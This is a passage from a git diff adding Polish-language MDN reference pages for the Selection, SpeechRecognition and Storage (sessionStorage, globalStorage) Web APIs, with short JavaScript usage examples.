+ <dt><a href="pl/DOM/Selection/toString">toString</a></dt>
+ <dd>Zwraca ciąg znaków, który jest obecnie reprezentowany przez obiekt zaznaczenia, tj. aktualnie zaznaczony tekst.</dd>
+ <dt><a href="pl/DOM/Selection/containsNode">containsNode</a></dt>
+ <dd>Wskazuje czy konkretny węzeł jest częścią zaznaczenia.</dd>
+</dl>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><a href="pl/DOM/window.getSelection">window.getSelection</a>, <a href="pl/DOM/range">Range</a></p>
+
+<h3 id="Odno.C5.9Bniki_zewn.C4.99trzne" name="Odno.C5.9Bniki_zewn.C4.99trzne">Odnośniki zewnętrzne</h3>
+
+<ul>
+ <li><a class="external" href="http://lxr.mozilla.org/mozilla/source/content/base/public/nsISelection.idl">IDL definition in Mozilla cross-reference</a></li>
+</ul>
diff --git a/files/pl/web/api/selection/iscollapsed/index.html b/files/pl/web/api/selection/iscollapsed/index.html
new file mode 100644
index 0000000000..84b01c648c
--- /dev/null
+++ b/files/pl/web/api/selection/iscollapsed/index.html
@@ -0,0 +1,21 @@
+---
+title: isCollapsed
+slug: Web/API/Selection/isCollapsed
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/isCollapsed
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca wartość logiczną, która określa czy początek selekcji znajduje się w tym samym miejscu, co jej koniec.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.isCollapsed
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Nawet załamana selekcja może mieć <code>rangeCount</code> większe niż 0. <code>sel.getRangeAt(0)</code> może zwrócić zakres, który również jest załamany.</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/isCollapsed", "es": "es/DOM/Selection/isCollapsed", "it": "it/DOM/Selection/isCollapsed" } ) }}</p>
diff --git a/files/pl/web/api/selection/rangecount/index.html b/files/pl/web/api/selection/rangecount/index.html
new file mode 100644
index 0000000000..f966cff941
--- /dev/null
+++ b/files/pl/web/api/selection/rangecount/index.html
@@ -0,0 +1,19 @@
+---
+title: rangeCount
+slug: Web/API/Selection/rangeCount
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/rangeCount
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca liczbę zakresów, które znajdują się w zaznaczeniu.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.rangeCount
+</pre>
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+<p>Zaraz po załadowaniu strony, wartość <code>rangeCount</code> wynosi 0. Użytkownik może zazwyczaj wykonać tylko jedno zaznaczenie na raz, dlatego wartość <code>rangeCount</code> z reguły będzie wynosiła 1. Za pomocą skryptu możliwe jest stworzenie zaznaczenia, które zawiera więcej niż jeden zakres.</p>
+<p>{{ languages( { "en": "en/DOM/Selection/rangeCount", "es": "es/DOM/Selection/rangeCount", "it": "it/DOM/Selection/rangeCount" } ) }}</p>
diff --git a/files/pl/web/api/selection/removeallranges/index.html b/files/pl/web/api/selection/removeallranges/index.html
new file mode 100644
index 0000000000..3ba0519f45
--- /dev/null
+++ b/files/pl/web/api/selection/removeallranges/index.html
@@ -0,0 +1,22 @@
+---
+title: removeAllRanges
+slug: Web/API/Selection/removeAllRanges
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/removeAllRanges
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Usuwa wszystkie zakresy, ustawiając własności <a href="pl/DOM/Selection/anchorNode">anchorNode</a> i <a href="pl/DOM/Selection/focusNode">focusNode</a> na <code>null</code> oraz usuwając samo zaznaczenie.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.removeAllRanges();
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<p>Brak.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/removeAllRanges", "es": "es/DOM/Selection/removeAllRanges", "it": "it/DOM/Selection/removeAllRanges" } ) }}</p>
diff --git a/files/pl/web/api/selection/removerange/index.html b/files/pl/web/api/selection/removerange/index.html
new file mode 100644
index 0000000000..24fa532b22
--- /dev/null
+++ b/files/pl/web/api/selection/removerange/index.html
@@ -0,0 +1,40 @@
+---
+title: removeRange
+slug: Web/API/Selection/removeRange
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/removeRange
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Usuwa zakres z zaznaczenia.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.removeRange(<i>range</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>range</code></i>
+ </dt>
+ <dd>
+ Obiekt zakresu, który będzie usunięty z zaznaczenia.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">/* Programowo, można wybrać więcej niż jeden zakres.
+ * Ten przykład usunie wszystkie zakresy oprócz pierwszego.*/
+s = window.getSelection();
+if(s.rangeCount &gt; 1) {
+ for(var i = 1; i &lt; s.rangeCount; i++) {
+ s.removeRange(s.getRangeAt(i));
+ }
+}
+</pre>
+<p> </p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/removeRange", "es": "es/DOM/Selection/removeRange", "it": "it/DOM/Selection/removeRange" } ) }}</p>
diff --git a/files/pl/web/api/selection/selectallchildren/index.html b/files/pl/web/api/selection/selectallchildren/index.html
new file mode 100644
index 0000000000..df659530c6
--- /dev/null
+++ b/files/pl/web/api/selection/selectallchildren/index.html
@@ -0,0 +1,40 @@
+---
+title: selectAllChildren
+slug: Web/API/Selection/selectAllChildren
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/selectAllChildren
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Dodaje wszystkie dzieci podanego węzła do zaznaczenia. Poprzednie zaznaczenie jest usuwane.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>sel</i>.selectAllChildren(<i>parentNode</i>)
+</pre>
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+<dl>
+ <dt>
+ <i>
+ <code>parentNode</code></i>
+ </dt>
+ <dd>
+ Wszystkie dzieci węzła
+ <i>
+ <code>parentNode</code></i>
+ będą wybrane. Samo
+ <i>
+ <code>parentNode</code></i>
+ nie będzie częścią zaznaczenia.</dd>
+</dl>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+<pre class="eval">footer = document.getElementById("footer");
+window.getSelection().selectAllChildren(footer);
+/* Wszystko wewnątrz <code>footer</code> jest teraz wybrane */
+</pre>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/selectAllChildren", "es": "es/DOM/Selection/selectAllChildren", "it": "it/DOM/Selection/selectAllChildren" } ) }}</p>
diff --git a/files/pl/web/api/selection/tostring/index.html b/files/pl/web/api/selection/tostring/index.html
new file mode 100644
index 0000000000..588c81ec26
--- /dev/null
+++ b/files/pl/web/api/selection/tostring/index.html
@@ -0,0 +1,35 @@
+---
+title: toString
+slug: Web/API/Selection/toString
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Wszystkie_kategorie
+translation_of: Web/API/Selection/toString
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p>Zwraca ciąg znakowy, który jest obecnie reprezentowany przez obiekt selekcji, tj. aktualnie zaznaczony tekst.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><i>string</i> =<i>sel</i>.toString()
+</pre>
+<ul>
+ <li><code>string</code> jest ciągiem znakowym reprezentującym selekcję.</li>
+</ul>
+<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3>
+<p>Brak.</p>
+<h3 id="Opis" name="Opis">Opis</h3>
+<p>Ta metoda zwraca obecnie zaznaczony tekst.</p>
+<p>W <a href="pl/JavaScript">JavaScript</a>, ta metoda jest wywoływana automatycznie, kiedy funkcja, do której przesyłany jest obiekt, oczekuje ciągu znakowego:</p>
+<pre class="eval">alert(window.getSelection()) // Co jest wywoływane
+alert(window.getSelection().toString()) // Co jest w wywoływane w rzeczywistości
+</pre>
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3>
+<ul>
+ <li><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/toString">Object.toString</a></li>
+</ul>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/Selection/toString", "es": "es/DOM/Selection/toString", "fr": "fr/DOM/Selection/toString", "it": "it/DOM/Selection/toString" } ) }}</p>
diff --git a/files/pl/web/api/speechrecognition/index.html b/files/pl/web/api/speechrecognition/index.html
new file mode 100644
index 0000000000..8f41dfb239
--- /dev/null
+++ b/files/pl/web/api/speechrecognition/index.html
@@ -0,0 +1,153 @@
+---
+title: SpeechRecognition
+slug: Web/API/SpeechRecognition
+translation_of: Web/API/SpeechRecognition
+---
+<p>{{APIRef("Web Speech API")}}{{SeeCompatTable}}</p>
+
+<p>Interfejs <strong><code>SpeechRecognition</code></strong> jest częścią <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> i kontroluje usługę rozpoznawania mowy. Obsługuje również {{domxref("SpeechRecognitionEvent")}} zwracany przez usługę rozpoznawania mowy.</p>
+
+<div class="note">
+<p><strong>Uwaga</strong>: Na Chrome użycie Speech Recognition wymaga zastosowania serwera. Dźwięk jest przesyłany do usługi web, więc nie działa offline.</p>
+</div>
+
+<h2 id="Konstruktor">Konstruktor</h2>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.SpeechRecognition()")}}</dt>
+ <dd>Tworzy nowy obiekt <code>SpeechRecognition</code>.</dd>
+</dl>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<p><em><code>SpeechRecognition</code> dziedziczy równiez właściwości z interfejsu rodzica, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.grammars")}}</dt>
+ <dd>Tworzy i zwraca kolekcję obiektów {{domxref("SpeechGrammar")}}, które reprezentują zasady gramatyczne akceptowane przez <code>SpeechRecognition</code>.</dd>
+ <dt>{{domxref("SpeechRecognition.lang")}}</dt>
+ <dd>Tworzy i zwraca język bieżącej instacji <code>SpeechRecognition</code>. Jeśli nie zostanie sprecyzowany domyślnie przyjmie wartość z atrybutu {{htmlattrxref("lang","html")}}, a jeśli i on nie został zdefiniowany - z ustawień językowych przeglądarki.</dd>
+ <dt>{{domxref("SpeechRecognition.continuous")}}</dt>
+ <dd>Ustawienie przyjęcia ciągłego strumienia mowy lub pojedynczego zwrotu. Domyslnie ustawiony na przyjęcie pojedynczego zwrotu (<code>false</code>.)</dd>
+ <dt>{{domxref("SpeechRecognition.interimResults")}}</dt>
+ <dd>Ustawienie kontrolujące zwracanie rezultatów pośrednich. Przyjmuje wartości (<code>true</code>) lub (<code>false</code>.) Rezultat pośredni rozpoznawania mowy to rezultat niepełny, uzyskiwany w trakcie rozpoznawania wypowiedzi (np. kiedy metoda {{domxref("SpeechRecognitionResult.isFinal")}} zwraca  <code>false</code>.) </dd>
+ <dt>{{domxref("SpeechRecognition.maxAlternatives")}}</dt>
+ <dd>Ustawienie maksymalnej liczby alternatywnych wyników rozpoznawania mowy. Domyślnie - 1.</dd>
+ <dt>{{domxref("SpeechRecognition.serviceURI")}}</dt>
+ <dd>Specifies the location of the speech recognition service used by the current <code>SpeechRecognition</code> to handle the actual recognition. The default is the user agent's default speech service.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em><code>SpeechRecognition</code> also inherits methods from its parent interface, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition.abort()")}}</dt>
+ <dd>Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.</dd>
+ <dt>{{domxref("SpeechRecognition.start()")}}</dt>
+ <dd>Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</dd>
+ <dt>{{domxref("SpeechRecognition.stop()")}}</dt>
+ <dd>Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Listen to these events using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/SpeechRecognition/audiostart_event"><code>audiostart</code></a></dt>
+ <dd>Fired when the user agent has started to capture audio.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onaudiostart">onaudiostart</a></code> property.</dd>
+ <dt><a href="/en-US/docs/Web/API/SpeechRecognition/audioend_event"><code>audioend</code></a></dt>
+ <dd>Fired when the user agent has finished capturing audio.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onaudioend">onaudioend</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/end_event">end</a></code></dt>
+ <dd>Fired when the speech recognition service has disconnected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onend">onend</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/error_event">error</a></code></dt>
+ <dd>Fired when a speech recognition error occurs.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onerror">onerror</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/nomatch_event">nomatch</a></code></dt>
+ <dd>Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onnomatch">onnomatch</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/result_event">result</a></code></dt>
+ <dd>Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onresult">onresult</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/soundstart_event">soundstart</a></code></dt>
+ <dd>Fired when any sound — recognisable speech or not — has been detected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onsoundstart">onsoundstart</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/soundend_event">soundend</a></code></dt>
+ <dd>Fired when any sound — recognisable speech or not — has stopped being detected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onsoundend">onsoundend</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/speechstart_event">speechstart</a></code></dt>
+ <dd>Fired when sound that is recognised by the speech recognition service as speech has been detected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onspeechstart">onspeechstart</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/speechend_event">speechend</a></code></dt>
+ <dd>Fired when speech recognised by the speech recognition service has stopped being detected.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onspeechend">onspeechend</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/start_event">start</a></code></dt>
+ <dd>Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/SpeechSynthesisUtterance/onstart">onstart</a></code> property.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>In our simple <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> example, we create a new <code>SpeechRecognition</code> object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the <code>SpeechRecognition</code> instance using the {{domxref("SpeechRecognition.grammars")}} property.</p>
+
+<p>After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.</p>
+
+<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+ recognition.start();
+ console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+ var color = event.results[0][0].transcript;
+ diagnostic.textContent = 'Result received: ' + color;
+ bg.style.backgroundColor = color;
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}</td>
+ <td>{{Spec2('Web Speech API')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.SpeechRecognition")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li>
+</ul>
diff --git a/files/pl/web/api/storage/index.html b/files/pl/web/api/storage/index.html
new file mode 100644
index 0000000000..22f478e9ff
--- /dev/null
+++ b/files/pl/web/api/storage/index.html
@@ -0,0 +1,154 @@
+---
+title: Storage
+slug: Web/API/Storage
+tags:
+ - DOM
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/API/Web_Storage_API
+---
+<p>{{ ApiRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Magazyn DOM (DOM Storage) jest nazwą określającą zestaw <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#storage">aspektów magazynowania danych</a> wprowadzonych w specyfikacji <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>. Magazyn DOM jest zaprojektowany, by dostarczyć większą, bezpieczniejszą i prostszą do użycia, alternatywę przechowywania informacji w ciasteczkach. Jest obecnie dostępny tylko w przeglądarkach bazujących na Mozilli, zwłaszcza zaczynając od <a href="pl/Firefox_2">Firefoksa 2</a>.</p>
+
+<div class="note"><strong>Uwaga:</strong> Magazyn DOM nie jest tym samym co <a href="pl/Storage">mozStorage</a> (interfejsy XPCOM Mozilli do SQLite) czy <a href="pl/API_przechowywania_sesji">API przechowywania sesji</a> (użyteczność magazynu <a href="pl/XPCOM">XPCOM</a> do użycia przez rozszerzenia).</div>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Mechanizm Magazynu DOM w głównej mierze polega na bezpiecznym przechowywaniu par kluczy i wartości możliwych do późniejszego odtworzenia. Celem tego dodatku jest dostarczenie wszechstronnego środka, dzięki któremu mogą być budowane w pełni interaktywne aplikacje (włączając w to zaawansowane cechy, takie jak możliwość pracowania bez dostępu do sieci nawet przez dłuższe okresy czasu).</p>
+
+<p>Obecnie tylko przeglądarki bazujące na Mozilli dostarczają działającą implementację specyfikacji Magazynu DOM. Jednakże, Internet Explorer posiada podobną funkcję nazwaną <a class="external" href="http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/userdata.asp">"zachowaniem danych użytkownika"</a> (userData behavior), które pozwala na przechowanie danych pomiędzy wieloma sesjami przeglądarki.</p>
+
+<p>Magazyn DOM jest użyteczny, ponieważ nie istnieje żadna dobra metoda przechowywania przez przeglądarkę sensownej pojemności danych przez dowolny okres czasu. <a class="external" href="http://pl.wikipedia.org/wiki/Ciasteczka_%28internet%29">Ciasteczka HTTP</a> mają ograniczoną pojemność i nie dostarczają żadnego wsparcia dla organizowania przechowywanych danych oraz innych metod (takich jak <a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">Lokalny magazyn Flash (Flash Local Storage)</a>), które do działania wymagają dodatkowych wtyczek.</p>
+
+<p>Jedną z pierwszych aplikacji, które zaczęły używać nowej funkcjonalności Magazynu DOM (w dodatku do "zachowania danych użytkownika" Internet Explorer) było <a class="external" href="http://aaronboodman.com/halfnote/">halfnote</a> (aplikacja zarządzająca notatkami) napisana przez <a class="external" href="http://aaronboodman.com/">Aarona Boodmana</a>. W swoim programie, Aaron jednocześnie zapisywał swoje notatki na serwer (kiedy jego połączenie Internetowe było aktywne) i dysk lokalny. To pozwala użytkownikowi na bezpieczne zapisywanie notatek, nawet ze sporadyczną aktywnością połączenia z Internetem.</p>
+
+<p>Pomimo, że koncept oraz implementacja zaprezentowana w programie halfnote była stosunkowo prosta, jego powstanie wskazuje na możliwość tworzenia nowego typu aplikacji internetowych, użytecznych i działających zarówno z aktywnym połączeniem Internetowym, jak i bez niego.</p>
+
+<h3 id="Odno.C5.9Bniki" name="Odno.C5.9Bniki">Odnośniki</h3>
+
+<p>Poniższe elementy są obiektami globalnymi, które istnieją jako własności każdego <a href="pl/DOM/window">okna DOM</a>. Znaczy to, że są one dostępne jako własności <code>sessionStorage</code> lub <code>window.sessionStorage</code> (jest to ważne, ponieważ możliwe dzięki temu jest użycie ramek do przechowania i dostępu do dodatkowych danych, po za tym, co automatycznie jest dostępne na stronie).</p>
+
+<h4 id="sessionStorage" name="sessionStorage"><code>sessionStorage</code></h4>
+
+<p>Jest to globalny obiekt, który zajmuje się przechowywaniem danych, które mają być dostępne na czas trwania sesji strony. Trwa ona tak długo, dopóki otwarte jest okno przeglądarki, które można przeładowywać i odświeżać. Otwarcie strony w nowej karcie bądź oknie, powoduje stworzenie nowej sesji.</p>
+
+<pre class="brush: js">// Zapisywanie danych do pamięci aktualnej sesji
+sessionStorage.username = "John";
+
+// Odtwarzanie wcześniej zapisanych danych
+alert( "username = " + sessionStorage.username );
+</pre>
+
+<p>Obiekt <code>sessionStorage</code> jest najbardziej pomocny przy przechowywaniu tymczasowych danych, które powinny być zapisane i chronione przez utraceniem w razie przypadkowego przeładowania strony.</p>
+
+<div class="bug"><strong>Uwaga:</strong> Obiekt <code>sessionStorage</code> powinien również być w stanie przechowywać i odtwarzać dane po przypadkowym zawieszeniu się przeglądarki, jednak przez {{ Bug(339445) }} ta funkcjonalność w Firefox jeszcze nie działa.</div>
+
+<p><strong>Przykłady:</strong></p>
+
+<p>Automatycznie zapisuje treści pól tekstowych, by w razie przypadkowego odświeżenia strony, odtworzyć treści tych pól, by nie stracić danych już wprowadzonych.</p>
+
+<pre class="brush: js"> // Pobranie pola tekstowego, który zamierzamy śledzić.
+ var field = document.getElementById("field");
+
+ // Sprawdzenie, czy mamy zapisaną już wcześniej wartość
+ // (stanie się to tylko wtedy, gdy strona została przeładowana)
+ if ( sessionStorage.autosave ) {
+ // Odtworzenie wartości pola tekstowego
+ field.value = sessionStorage.autosave;
+ }
+
+ // Sprawdzanie wartości pola tekstowego co 1 sekundę
+ setInterval(function(){
+ // Oraz zapisanie jej do obiektu sesji
+ sessionStorage.autosave = field.value;
+ }, 1000);
+</pre>
+
+<p><strong>Więcej informacji:</strong></p>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#sessionstorage">Specyfikacja obiektu sessionStorage</a></li>
+</ul>
+
+<h4 id="globalStorage" name="globalStorage"><code>globalStorage</code></h4>
+
+<p>Jest to globalny obiekt, który utrzymuje wiele przestrzeni publicznych oraz prywatnych, które mogą być użyte do przechowywania danych przez dłuższy okres czasu (np. przez kilka stron czy sesji przeglądarki).</p>
+
+<pre class="brush: js">// Zapisanie danych, które będzie można odtworzyć tylko z domeny mozilla.org
+globalStorage['mozilla.org'].snippet = "&lt;b&gt;Cześć&lt;/b&gt;, jak się masz?";
+
+// Zapisanie danych, które możliwe będą do otworzenia przez dowolną stronę czy domenę
+globalStorage[<span class="nowiki">''</span>].favBrowser = "Firefox";
+</pre>
+
+<p>Dokładniej mówiąc, obiekt <code>globalStorage</code> daje nam dostęp do wielu różnych magazynów obiektów, do których można przypisywać dane. Dla przykładu, jeśli chcielibyśmy stworzyć stronę internetową, która używałaby obiektu <code>globalStorage</code> w tej domenie (developer.mozilla.org) mielibyśmy takie obiekty magazynów nam dostępne:</p>
+
+<ul>
+ <li><code>globalStorage['developer.mozilla.org']</code> - Wszystkie strony wewnątrz subdomeny developer.mozilla.org mogłyby zarówno pobierać i zapisywać dane do tego magazynu.</li>
+ <li><code>globalStorage['mozilla.org']</code> - Wszystkie strony z domeną mozilla.org mogłyby pobierać i zapisywać dane do tego magazynu.</li>
+ <li><code>globalStorage['org']</code> - Wszystkie strony z końcówką .org mogą czytać i pobierać dane z tego magazynu.</li>
+ <li><code>globalStorage['']</code> - Wszystkie strony ze wszystkich domen mają pełen dostęp do tego magazynu.</li>
+</ul>
+
+<p><strong>Przykłady:</strong></p>
+
+<p>Wszystkie te przykłady wymagają dołączenia kodu na wszystkich stronach, na których chcemy zaobserwować efekt.</p>
+
+<p>Zapamiętywanie nazwy użytkownika dla konkretnej subdomeny, która została odwiedzona:</p>
+
+<pre class="brush: js"> globalStorage['developer.mozilla.org'].username = "John";
+</pre>
+
+<p>Zliczenie każdej wizyty użytkownika na każdej ze stron w danej domenie:</p>
+
+<pre class="brush: js"> // musi zostać użyte <code>parseInt</code>, ponieważ wszystkie przechowywane dane są jako ciągi znakowe
+ globalStorage['mozilla.org'].visits =
+ parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
+</pre>
+
+<p>Zapamiętywanie adresów wszystkich stron, które odwiedzasz:</p>
+
+<pre class="brush: js"> globalStorage[<span class="nowiki">''</span>].sites += "," + location.hostname;
+</pre>
+
+<p><strong>Więcej informacji:</strong></p>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#globalstorage">Specyfikacja obiektu globalStorage</a></li>
+</ul>
+
+<h3 id="Wi.C4.99cej_informacji:" name="Wi.C4.99cej_informacji:">Więcej informacji:</h3>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">Specyfikacja Web Applications 1.0</a></li>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#storage">Specyfikacja Web Applications 1.0 Storage</a></li>
+ <li><a class="external" href="http://kb.mozillazine.org/Dom.storage.enabled">Włączanie i wyłączanie obsługi Magazynu DOM w Firefox i SeaMonkey</a></li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<ul>
+ <li><a class="external" href="http://channy.creation.net/work/firefox/domstorage/">Proste przykłady obsługi Magazynu DOM</a></li>
+ <li><a class="external" href="http://aaronboodman.com/halfnote/">Halfnote</a> - aplikacja organizująca notatki używająca Magazynu DOM</li>
+</ul>
+
+<h3 id="Tematy_powi.C4.85zane" name="Tematy_powi.C4.85zane">Tematy powiązane</h3>
+
+<ul>
+ <li><a class="external" href="http://pl.wikipedia.org/wiki/Ciasteczka_%28internet%29">Ciasteczka HTTP</a> (<code><a href="pl/DOM/document.cookie">document.cookie</a></code>)</li>
+ <li><a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">Magazyn lokalny Flash (Flash Local Storage)</a></li>
